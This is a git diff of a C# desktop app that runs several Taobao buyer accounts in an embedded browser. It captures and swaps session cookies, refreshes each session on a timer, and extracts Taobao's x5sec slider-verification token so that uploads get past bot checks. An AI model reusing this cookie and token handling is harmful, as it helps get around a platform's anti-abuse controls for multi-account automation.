DeleteTaoBao(); + //MessageBox.Show("没有找到这个淘宝买家", "提示"); + return false; + } + DeleteTaoBao(); + //var cookieManager = CefSharp.Cef.GetGlobalCookieManager(); + var cookieManager = cefWebBrowser3.RequestContext.GetCookieManager(null); + //List cookies =UserCookies[userName].Cookies; + //Cef.GetGlobalCookieManager().SetStoragePath(Environment.CurrentDirectory, true); + //BaseClass.IeFormCookies + string[] l = BaseClass.IeFormCookies.Split(';'); + List cookies = new List(); + for (int j = 0; j < l.Length; j++) + { + if (string.IsNullOrEmpty(l[j]) || !l[j].Contains("=")) + continue; + string[] ll = l[j].Split('='); + + System.Net.Cookie c = new System.Net.Cookie(); + c.Domain = "taobao.com"; + c.Expires = DateTime.Now.AddYears(1); + c.Name = ll[0].Trim(); + c.Value = ll[1]; + c.Path = "/"; + cookies.Add(c); + } + + string domain = "https://s.taobao.com/search?q=se"; + foreach (System.Net.Cookie c in cookies) + { + var cookie = new CefSharp.Cookie + { + Domain = c.Domain, + Name = c.Name, + Value = c.Value, + Expires = DateTime.Now.AddYears(1), + Path = "/" + }; + Task task = cookieManager.SetCookieAsync(domain, cookie); + while (!task.IsCompleted) + { + Thread.Sleep(1); + continue; + } + } + if (!refundFlag) + { + BaseMsgForm.ShowInfo("切换到账户:" + userName + " 成功", "提示"); + } + SetCookiesUserInfo.UserName = userName; + return true; + } + + public void DeleteTaoBao() + { + var cookieManager = cefWebBrowser3.RequestContext.GetCookieManager(null); ; + if (!string.IsNullOrEmpty(ChromeCookies)) + { + var cookies = ChromeCookies;// BaseClass.CookiesAllString["taobao.com"]; + string[] l = cookies.Split(';'); + for (int i = 0; i < l.Length; i++) + { + if (string.IsNullOrEmpty(l[i]) || !l[i].Contains("=")) + continue; + string name = l[i].Split('=')[0].Trim(); + try + { + cookieManager.DeleteCookies("https://s.taobao.com/search?q=se", name); + cookieManager.DeleteCookies("https://login.taobao.com/member/login.jhtml", name); + //cookieManager.Dispose(); + } + catch + { + } + } + } + + } + public void DelCookies() + { + ICookieManager cookieManager = null; + if (this.cefWebBrowser3 != null && this.cefWebBrowser3.RequestContext != null) + cookieManager = this.cefWebBrowser3.RequestContext.GetCookieManager(null); + else + cookieManager = Cef.GetGlobalCookieManager(); + Task deleteTask = cookieManager.DeleteCookiesAsync("taobao.com", null); + deleteTask.Wait(); + } + private void buttonEx4_Click(object sender, EventArgs e) + { + DelCookies(); + LoginOk = false; + cefWebBrowser3.Load("https://login.taobao.com/member/login.jhtml?style=mini&newMini2=true&redirectURL=https://s.taobao.com/search?q=se&imgfile=&commend=all&ssid=s5-e&search_type=item&sourceId=tb.index&spm=a21bo.2017.201856-taobao-item.1&ie=utf8&initiative_id=tbindexz_20170306"); + } + private void buttonX2_Click(object sender, EventArgs e) + { + DelCookies(); + LoginOk = false; + cefWebBrowser3.Load("https://login.taobao.com/member/login.jhtml?style=mini&newMini2=true&redirectURL=https://s.taobao.com/search?q=se&imgfile=&commend=all&ssid=s5-e&search_type=item&sourceId=tb.index&spm=a21bo.2017.201856-taobao-item.1&ie=utf8&initiative_id=tbindexz_20170306"); + } + public static string ChromeCookies = ""; + public static string oldSec = ""; + public static string cookiesSrt = ""; + public delegate void delegateView(); + public void ReflashCookies() + { + + try + { + while (true) + { + Thread.Sleep(300); + if (this == null || this.IsDisposed) + return; + Invoke(new delegateView(GetCookies)); + Thread.Sleep(300); + string cookie = ""; + for (int i = 0; i < cookies.Count; i++)//初始化COOKIES缓存 + { + var c = cookies[i]; + if (!c.Domain.Contains("taobao.com")) + continue; + cookie += c.Name + "=" + c.Value + "; "; + string mainDomain = GetHtml.GetMainDomain(c.Domain); + if (BaseClass.CookiesAll.ContainsKey(mainDomain)) + { + if (BaseClass.CookiesAll[mainDomain].ContainsKey(c.Name)) + BaseClass.CookiesAll[mainDomain][c.Name] = c.Value; + else + BaseClass.CookiesAll[mainDomain].Add(c.Name, c.Value); + } + else + { + BaseClass.CookiesAll.Add(mainDomain, new Dictionary()); + BaseClass.CookiesAll[mainDomain].Add(c.Name, c.Value); + } + } + if (!string.IsNullOrEmpty(cookie)) + { + if (cookie.Contains("x5sec")) + cookiesSrt = cookie; + //if (cookie.Contains("x5sec")&&(cookie.Contains("tracknick") || cookie.Contains("dnk") || cookie.Contains("_w_tb_nick"))) + // BaseClass.IeFormCookies = ChromeCookies = cookie; + //cookiesSrt = cookie; + if ((cookie.Contains("tracknick") || cookie.Contains("dnk") || cookie.Contains("_w_tb_nick"))) + { + BaseClass.IeFormCookies = ChromeCookies = cookie; + BaseClass.x5Sec = BaseRegex.GetMatchRegexString(ref cookiesSrt, "\"name\": \"x5sec\",[\\s\\S]+?\"value\": \"([\\s\\S]+?)\""); + if (string.IsNullOrEmpty(BaseClass.x5Sec)) + BaseClass.x5Sec = BaseRegex.GetMatchRegexString(ref cookiesSrt, "x5sec=([\\s\\S]+?);"); + } + //if (cookie.Contains("x5sec")&&TitleText == "淘宝验证窗口" && isH5 && (cookie.Contains("tracknick") || cookie.Contains("dnk") || cookie.Contains("_w_tb_nick"))) + // BaseClass.IeFormCookies = cookie; + //if (string.IsNullOrEmpty(BaseClass.x5Sec)) + //{ + // BaseClass.x5Sec = BaseRegex.GetMatchRegexString(ref cookiesSrt, "\"name\": \"x5sec\",[\\s\\S]+?\"value\": \"([\\s\\S]+?)\""); + // if (string.IsNullOrEmpty(BaseClass.x5Sec)) + // BaseClass.x5Sec = BaseRegex.GetMatchRegexString(ref cookiesSrt, "x5sec=([\\s\\S]+?);"); + //} + } + //if (TaobaoMobileCollect.CookiesDic.Count==0) + //{ + // GetLoginUserName(); + //} + //string x5Sec = BaseRegex.GetMatchRegexString(ref IeForm.ChromeCookies, @"x5sec=([\w\W]+?);"); + //if (!string.IsNullOrEmpty(x5Sec) && x5Sec != oldSec) + //{ + // BaseClass.x5Sec = x5Sec; + // oldSec = x5Sec; + //} + } + } + catch + { + } + } + + public List cookies = new List(); + /// + /// 加载完成时,重设cookies + /// + /// + private void visitor_SendCookie(CefSharp.Cookie obj) + { + cookies.Add(obj); + } + /// + /// 获取cookies + /// + private void GetCookies() + { + cookies.Clear(); + var cookieManager = cefWebBrowser3.RequestContext.GetCookieManager(null); + CookieVisitor visitor = new CookieVisitor(); + visitor.SendCookie += visitor_SendCookie; + cookieManager.VisitAllCookies(visitor); + } + + private void delCookiesButtonX_Click(object sender, EventArgs e) + { + string cboname = userComboBox.Text; + Task.Run(() => + { + UserCookies.Remove(cboname); + if (UserCookies.Count > 0) + SetCookiesUserInfo.UserName = UserCookies.FirstOrDefault().Key; + else + SetCookiesUserInfo.UserName = ""; + TaobaoMobileCollect.CookiesDic.Remove(cboname); + DelCookies(); + ChromeCookies = ""; + ResetUserList(); + SaveCookies(); + SetTaoBao(SetCookiesUserInfo.UserName, true); + LoginOk = false; + cefWebBrowser3.Load("https://s.taobao.com/search?q=se"); + }); + } + + private void buttonEx1_Click(object sender, EventArgs e) + { + if (!string.IsNullOrEmpty(BaseClass.x5Sec)) + { + MessageBox.Show("获取滑动参数成功。"); + return; + } + string cookies = string.Empty; + IDataObject iData = Clipboard.GetDataObject(); + if (iData.GetDataPresent(DataFormats.Text)) + { + cookies = (string)iData.GetData(DataFormats.Text); + } + if (string.IsNullOrEmpty(cookies)) + { + BaseClass.x5Sec = BaseRegex.GetMatchRegexString(ref cookiesSrt, "\"name\": \"x5sec\",[\\s\\S]+?\"value\": \"([\\s\\S]+?)\""); + if (string.IsNullOrEmpty(BaseClass.x5Sec)) + BaseClass.x5Sec = BaseRegex.GetMatchRegexString(ref cookiesSrt, "x5sec=([\\s\\S]+?);"); + if (string.IsNullOrEmpty(BaseClass.x5Sec)) + MessageBox.Show("获取滑动参数失败。"); + else + MessageBox.Show("获取滑动参数成功。"); + return; + } + string x5Sec = BaseRegex.GetMatchRegexString(ref cookies, "\"name\": \"x5sec\",[\\s\\S]+?\"value\": \"([\\s\\S]+?)\""); + if (string.IsNullOrEmpty(x5Sec)) + { + x5Sec = BaseRegex.GetMatchRegexString(ref cookies, "x5sec=([\\s\\S]+?);"); + } + if (string.IsNullOrEmpty(x5Sec)) + { + x5Sec = BaseRegex.GetMatchRegexString(ref cookiesSrt, "\"name\": \"x5sec\",[\\s\\S]+?\"value\": \"([\\s\\S]+?)\""); + if (string.IsNullOrEmpty(x5Sec)) + x5Sec = BaseRegex.GetMatchRegexString(ref cookiesSrt, "x5sec=([\\s\\S]+?);"); + } + if (string.IsNullOrEmpty(x5Sec)) + { + Thread.Sleep(2000); + x5Sec = BaseRegex.GetMatchRegexString(ref IeForm.ChromeCookies, @"x5sec=([\w\W]+?);"); + } + BaseClass.x5Sec = x5Sec; + if (string.IsNullOrEmpty(x5Sec)) + { + MessageBox.Show("获取滑动参数失败。"); + return; + } + else + { + MessageBox.Show("获取滑动参数成功。"); + return; + } + } + + public void AutoRrefreshCookies() + { + while (true) + { + try + { + Thread.Sleep(10 * 60 * 1000); + var lst = UserCookies.ToList(); + for (int i = 0; i < lst.Count; i++) + { + DelCookies(); + SetTaoBao(lst[i].Key, true); + LoginOk = false; + cefWebBrowser3.Load("https://buyertrade.taobao.com/trade/itemlist/list_bought_items.htm"); + Thread.Sleep(8 * 1000); + } + } + catch + { + } + } + } + + private void buttonEx2_Click(object sender, EventArgs e) + { + new Thread(AutoRrefreshCookies).Start(); + } + + private void buttonEx1_Click_1(object sender, EventArgs e) + { + if (!string.IsNullOrEmpty(BaseClass.x5Sec)) + { + MessageBox.Show("获取滑动参数成功。"); + return; + } + string cookies = string.Empty; + IDataObject iData = Clipboard.GetDataObject(); + if (iData.GetDataPresent(DataFormats.Text)) + { + cookies = (string)iData.GetData(DataFormats.Text); + } + if (string.IsNullOrEmpty(cookies)) + { + BaseClass.x5Sec = BaseRegex.GetMatchRegexString(ref cookiesSrt, "\"name\": \"x5sec\",[\\s\\S]+?\"value\": \"([\\s\\S]+?)\""); + if (string.IsNullOrEmpty(BaseClass.x5Sec)) + BaseClass.x5Sec = BaseRegex.GetMatchRegexString(ref cookiesSrt, "x5sec=([\\s\\S]+?);"); + if (string.IsNullOrEmpty(BaseClass.x5Sec)) + MessageBox.Show("获取滑动参数失败。"); + else + MessageBox.Show("获取滑动参数成功。"); + return; + } + string x5Sec = BaseRegex.GetMatchRegexString(ref cookies, "\"name\": \"x5sec\",[\\s\\S]+?\"value\": \"([\\s\\S]+?)\""); + if (string.IsNullOrEmpty(x5Sec)) + { + x5Sec = BaseRegex.GetMatchRegexString(ref cookies, "x5sec=([\\s\\S]+?);"); + } + if (string.IsNullOrEmpty(x5Sec)) + { + x5Sec = BaseRegex.GetMatchRegexString(ref cookiesSrt, "\"name\": \"x5sec\",[\\s\\S]+?\"value\": \"([\\s\\S]+?)\""); + if (string.IsNullOrEmpty(x5Sec)) + x5Sec = BaseRegex.GetMatchRegexString(ref cookiesSrt, "x5sec=([\\s\\S]+?);"); + } + if (string.IsNullOrEmpty(x5Sec)) + { + Thread.Sleep(2000); + x5Sec = BaseRegex.GetMatchRegexString(ref IeForm.ChromeCookies, @"x5sec=([\w\W]+?);"); + } + BaseClass.x5Sec = x5Sec; + if (string.IsNullOrEmpty(x5Sec)) + { + MessageBox.Show("获取滑动参数失败。"); + return; + } + else + { + MessageBox.Show("获取滑动参数成功。"); + return; + } + } + + /// + /// 本次软件运行期间是否不再显示淘宝登录/校验 + /// + public static bool IsShowIeForm = true; + + private void checkBox1_CheckedChanged(object sender, EventArgs e) + { + IsShowIeForm = !checkBox1.Checked; + } + } +} diff --git a/TEMUKJD/KJDForms/UploadForms/IeForm.designer.cs b/TEMUKJD/KJDForms/UploadForms/IeForm.designer.cs new file mode 100644 index 0000000..568bb41 --- /dev/null +++ b/TEMUKJD/KJDForms/UploadForms/IeForm.designer.cs @@ -0,0 +1,261 @@ +namespace LittleRabbit.LittleRabbitForms +{ + partial class IeForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(IeForm)); + this.pnlBody = new System.Windows.Forms.Panel(); + this.panel2 = new System.Windows.Forms.Panel(); + this.panel3 = new System.Windows.Forms.Panel(); + this.buttonEx1 = new LittleRabbit.UserControls.ButtonEx(); + this.panelSettleSlide = new DevComponents.DotNetBar.PanelEx(); + this.userComboBox = new System.Windows.Forms.ComboBox(); + this.label25 = new System.Windows.Forms.Label(); + this.delCookiesButtonX = new DevComponents.DotNetBar.PanelEx(); + this.buttonEx4 = new LittleRabbit.UserControls.ButtonEx(); + this.checkBox1 = new System.Windows.Forms.CheckBox(); + this.label1 = new System.Windows.Forms.Label(); + this.pnlBody.SuspendLayout(); + this.panel3.SuspendLayout(); + this.SuspendLayout(); + // + // pnlBody + // + this.pnlBody.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.pnlBody.Controls.Add(this.panel2); + this.pnlBody.Controls.Add(this.panel3); + this.pnlBody.Dock = System.Windows.Forms.DockStyle.Fill; + this.pnlBody.Location = new System.Drawing.Point(2, 34); + this.pnlBody.Margin = new System.Windows.Forms.Padding(0); + this.pnlBody.Name = "pnlBody"; + this.pnlBody.Size = new System.Drawing.Size(1251, 660); + this.pnlBody.TabIndex = 1; + // + // panel2 + // + this.panel2.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.panel2.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.panel2.Location = new System.Drawing.Point(-1, 66); + this.panel2.Name = "panel2"; + this.panel2.Size = new System.Drawing.Size(1251, 591); + this.panel2.TabIndex = 6; + // + // panel3 + // + this.panel3.Controls.Add(this.label1); + this.panel3.Controls.Add(this.checkBox1); + this.panel3.Controls.Add(this.buttonEx1); + this.panel3.Controls.Add(this.panelSettleSlide); + this.panel3.Controls.Add(this.userComboBox); + this.panel3.Controls.Add(this.label25); + this.panel3.Controls.Add(this.delCookiesButtonX); + this.panel3.Controls.Add(this.buttonEx4); + this.panel3.Dock = System.Windows.Forms.DockStyle.Top; + this.panel3.Location = new System.Drawing.Point(0, 0); + this.panel3.Name = "panel3"; + this.panel3.Size = new System.Drawing.Size(1249, 70); + this.panel3.TabIndex = 5; + // + // buttonEx1 + // + this.buttonEx1.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.buttonEx1.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.buttonEx1.Cursor = System.Windows.Forms.Cursors.Hand; + this.buttonEx1.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.buttonEx1.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.buttonEx1.ForeColor = System.Drawing.Color.White; + this.buttonEx1.Location = new System.Drawing.Point(843, 36); + this.buttonEx1.Margin = new System.Windows.Forms.Padding(2); + this.buttonEx1.Name = "buttonEx1"; + this.buttonEx1.Size = new System.Drawing.Size(85, 25); + this.buttonEx1.TabIndex = 553; + this.buttonEx1.Text = "获取参数"; + this.buttonEx1.UseVisualStyleBackColor = false; + this.buttonEx1.Click += new System.EventHandler(this.buttonEx1_Click_1); + // + // panelSettleSlide + // + this.panelSettleSlide.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.panelSettleSlide.CanvasColor = System.Drawing.Color.Red; + this.panelSettleSlide.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.panelSettleSlide.Cursor = System.Windows.Forms.Cursors.Hand; + this.panelSettleSlide.DisabledBackColor = System.Drawing.Color.Empty; + this.panelSettleSlide.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.panelSettleSlide.Location = new System.Drawing.Point(1030, 8); + this.panelSettleSlide.Name = "panelSettleSlide"; + this.panelSettleSlide.Size = new System.Drawing.Size(83, 21); + this.panelSettleSlide.Style.Alignment = System.Drawing.StringAlignment.Center; + this.panelSettleSlide.Style.BackColor1.Color = System.Drawing.Color.Red; + this.panelSettleSlide.Style.BackColor2.Color = System.Drawing.Color.Red; + this.panelSettleSlide.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.panelSettleSlide.Style.BorderColor.Color = System.Drawing.Color.Red; + this.panelSettleSlide.Style.CornerDiameter = 1; + this.panelSettleSlide.Style.CornerType = DevComponents.DotNetBar.eCornerType.Rounded; + this.panelSettleSlide.Style.ForeColor.Color = System.Drawing.Color.White; + this.panelSettleSlide.Style.GradientAngle = 90; + this.panelSettleSlide.StyleMouseDown.Alignment = System.Drawing.StringAlignment.Center; + this.panelSettleSlide.StyleMouseDown.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(241)))), ((int)(((byte)(241)))), ((int)(((byte)(241))))); + this.panelSettleSlide.StyleMouseDown.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(171)))), ((int)(((byte)(171)))), ((int)(((byte)(171))))); + this.panelSettleSlide.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.panelSettleSlide.StyleMouseOver.BackColor2.Color = System.Drawing.Color.LightGray; + this.panelSettleSlide.TabIndex = 546; + this.panelSettleSlide.Text = "解除滑块"; + this.panelSettleSlide.Visible = false; + this.panelSettleSlide.Click += new System.EventHandler(this.panelSettleSlide_Click_1); + // + // userComboBox + // + this.userComboBox.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.userComboBox.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.userComboBox.FormattingEnabled = true; + this.userComboBox.Location = new System.Drawing.Point(1087, 36); + this.userComboBox.Name = "userComboBox"; + this.userComboBox.Size = new System.Drawing.Size(107, 25); + this.userComboBox.TabIndex = 538; + this.userComboBox.Text = "点击下拉切换"; + this.userComboBox.SelectedIndexChanged += new System.EventHandler(this.userComboBox_SelectedIndexChanged_1); + // + // label25 + // + this.label25.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.label25.AutoSize = true; + this.label25.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.label25.Location = new System.Drawing.Point(1027, 40); + this.label25.Name = "label25"; + this.label25.Size = new System.Drawing.Size(56, 17); + this.label25.TabIndex = 539; + this.label25.Text = "淘宝号:"; + // + // delCookiesButtonX + // + this.delCookiesButtonX.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.delCookiesButtonX.CanvasColor = System.Drawing.SystemColors.Control; + this.delCookiesButtonX.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.delCookiesButtonX.Cursor = System.Windows.Forms.Cursors.Hand; + this.delCookiesButtonX.DisabledBackColor = System.Drawing.Color.Empty; + this.delCookiesButtonX.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.delCookiesButtonX.Location = new System.Drawing.Point(1200, 36); + this.delCookiesButtonX.Name = "delCookiesButtonX"; + this.delCookiesButtonX.Size = new System.Drawing.Size(46, 25); + this.delCookiesButtonX.Style.Alignment = System.Drawing.StringAlignment.Center; + this.delCookiesButtonX.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(251)))), ((int)(((byte)(251)))), ((int)(((byte)(251))))); + this.delCookiesButtonX.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(191)))), ((int)(((byte)(191)))), ((int)(((byte)(191))))); + this.delCookiesButtonX.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.delCookiesButtonX.Style.BorderColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(171)))), ((int)(((byte)(171)))), ((int)(((byte)(171))))); + this.delCookiesButtonX.Style.CornerDiameter = 1; + this.delCookiesButtonX.Style.CornerType = DevComponents.DotNetBar.eCornerType.Rounded; + this.delCookiesButtonX.Style.ForeColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(64)))), ((int)(((byte)(64)))), ((int)(((byte)(64))))); + this.delCookiesButtonX.Style.GradientAngle = 90; + this.delCookiesButtonX.StyleMouseDown.Alignment = System.Drawing.StringAlignment.Center; + this.delCookiesButtonX.StyleMouseDown.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(241)))), ((int)(((byte)(241)))), ((int)(((byte)(241))))); + this.delCookiesButtonX.StyleMouseDown.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(171)))), ((int)(((byte)(171)))), ((int)(((byte)(171))))); + this.delCookiesButtonX.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.delCookiesButtonX.StyleMouseOver.BackColor2.Color = System.Drawing.Color.LightGray; + this.delCookiesButtonX.TabIndex = 537; + this.delCookiesButtonX.Text = "删除"; + this.delCookiesButtonX.Click += new System.EventHandler(this.delCookiesButtonX_Click_1); + // + // buttonEx4 + // + this.buttonEx4.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.buttonEx4.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.buttonEx4.Cursor = System.Windows.Forms.Cursors.Hand; + this.buttonEx4.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.buttonEx4.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.buttonEx4.ForeColor = System.Drawing.Color.White; + this.buttonEx4.Location = new System.Drawing.Point(932, 36); + this.buttonEx4.Margin = new System.Windows.Forms.Padding(2); + this.buttonEx4.Name = "buttonEx4"; + this.buttonEx4.Size = new System.Drawing.Size(85, 25); + this.buttonEx4.TabIndex = 404; + this.buttonEx4.Text = "新用户登录"; + this.buttonEx4.UseVisualStyleBackColor = false; + this.buttonEx4.Click += new System.EventHandler(this.buttonEx4_Click); + // + // checkBox1 + // + this.checkBox1.AutoSize = true; + this.checkBox1.Location = new System.Drawing.Point(10, 9); + this.checkBox1.Name = "checkBox1"; + this.checkBox1.Size = new System.Drawing.Size(144, 16); + this.checkBox1.TabIndex = 560; + this.checkBox1.Text = "不再弹出淘宝登录校验"; + this.checkBox1.UseVisualStyleBackColor = true; + this.checkBox1.CheckedChanged += new System.EventHandler(this.checkBox1_CheckedChanged); + // + // label1 + // + this.label1.AutoSize = true; + this.label1.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.label1.ForeColor = System.Drawing.Color.Gray; + this.label1.Location = new System.Drawing.Point(155, 8); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(342, 17); + this.label1.TabIndex = 561; + this.label1.Text = "勾选后重启软件前将自动跳过登录/验证(默认登录/验证失败)"; + // + // IeForm + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.BackColor = System.Drawing.Color.White; + this.ClientSize = new System.Drawing.Size(1255, 696); + this.Controls.Add(this.pnlBody); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.Name = "IeForm"; + this.Padding = new System.Windows.Forms.Padding(2); + this.ShowMaximizeBox = true; + this.Text = "为了正常上传,请登录淘宝买手号"; + this.TitleText = "为了正常上传,请登录淘宝买手号"; + this.Load += new System.EventHandler(this.IeForm_Load); + this.Controls.SetChildIndex(this.pnlBody, 0); + this.pnlBody.ResumeLayout(false); + this.panel3.ResumeLayout(false); + this.panel3.PerformLayout(); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.Panel pnlBody; + private System.Windows.Forms.Panel panel2; + private System.Windows.Forms.Panel panel3; + private UserControls.ButtonEx buttonEx4; + private DevComponents.DotNetBar.PanelEx delCookiesButtonX; + private System.Windows.Forms.ComboBox userComboBox; + private System.Windows.Forms.Label label25; + private DevComponents.DotNetBar.PanelEx panelSettleSlide; + private UserControls.ButtonEx buttonEx1; + private System.Windows.Forms.Label label1; + private System.Windows.Forms.CheckBox checkBox1; + //private UserControls.ButtonEx buttonEx1; + } +} \ No newline at end of file diff --git a/TEMUKJD/KJDForms/UploadForms/IeForm.resx b/TEMUKJD/KJDForms/UploadForms/IeForm.resx new file mode 100644 index 0000000..bfcb127 --- /dev/null +++ b/TEMUKJD/KJDForms/UploadForms/IeForm.resx @@ -0,0 +1,408 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + AAABAAEAQEAAAAEAIAAoQgAAFgAAACgAAABAAAAAgAAAAAEAIAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAobIAPKKzAJegsADXnrAA85yu + AP2crQD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/nK0A/5uuAP2frgDzoLEA1aGyAJOfsQA4AAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACdrgA8obQAvaW2 + AP+qvAD/o7QA/56vAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/nq8A/6O1AP+qvQD/pLUA/6Kz + ALegrgA2AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH9/ + AASfsQCPpLYA/6i6AP+erwD/nK0A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/nK0A/56vAP+puwD/obMA/5+vAIcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAJaiABagsQDDrb8A/5+wAP+crQD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/nK0A/5+xAP+tvwD/oLIAu4+fABAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAJ2pABSgsgDVqr0A/5ytAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na0A/6u+ + AP+gsADNmaoADgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJmZAASesADHqr0A/5ytAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+crQD/nK0A/5ytAP+crQD/nK0A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + 